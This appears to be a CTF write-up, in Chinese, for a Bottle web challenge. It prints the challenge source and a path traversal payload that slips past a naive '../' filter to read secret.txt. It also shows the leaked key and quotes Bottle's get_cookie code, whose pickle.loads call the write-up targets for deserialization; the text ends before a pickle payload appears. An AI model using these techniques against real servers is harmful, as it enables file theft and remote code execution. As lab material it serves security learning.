# -*- encoding: utf-8 -*- ''' @File : main.py @Time : 2025/03/28 22:20:49 @Author : LamentXU ''' ''' flag in /flag_{uuid4} ''' from bottle import Bottle, request, response, redirect, static_file, run, route withopen('../../secret.txt', 'r') as f: secret = f.read()
app = Bottle() @route('/') defindex(): return'''HI''' @route('/download') defdownload(): name = request.query.filename if'../../'in name or name.startswith('/') or name.startswith('../') or'\\'in name: response.status = 403 return'Forbidden' withopen(name, 'rb') as f: data = f.read() return data
@route('/secret') defsecret_page(): try: session = request.get_cookie("name", secret=secret) ifnot session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return'Forbidden!' if session["name"] == "admin": return'The secret has been deleted!' except: return"Error!" run(host='0.0.0.0', port=8080, debug=False)
路径穿越
可以看到存在download路由
1 2 3 4 5 6 7 8 9
def download(): name = request.query.filename if'../../'innameorname.startswith('/') orname.startswith('../') or'\\'inname: response.status = 403 return 'Forbidden' with open(name, 'rb') as f: data = f.read() return data
这里只禁止了两个连在一起的../../和开头的../直接用./绕过即可
payload:
1
/download?filename=./.././.././../secret.txt
读取到了secret.txt
1
Hell0_H@cker_Y0u_A3r_Sm@r7
pickle反序列化
可以看到有一个secret路由
1 2 3 4 5 6 7 8 9 10 11 12
def secret_page(): try: session = request.get_cookie("name", secret=secret) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return'Forbidden!' if session["name"] == "admin": return'The secret has been deleted!' except: return"Error!"
get_cookie的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
defget_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and'?'in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default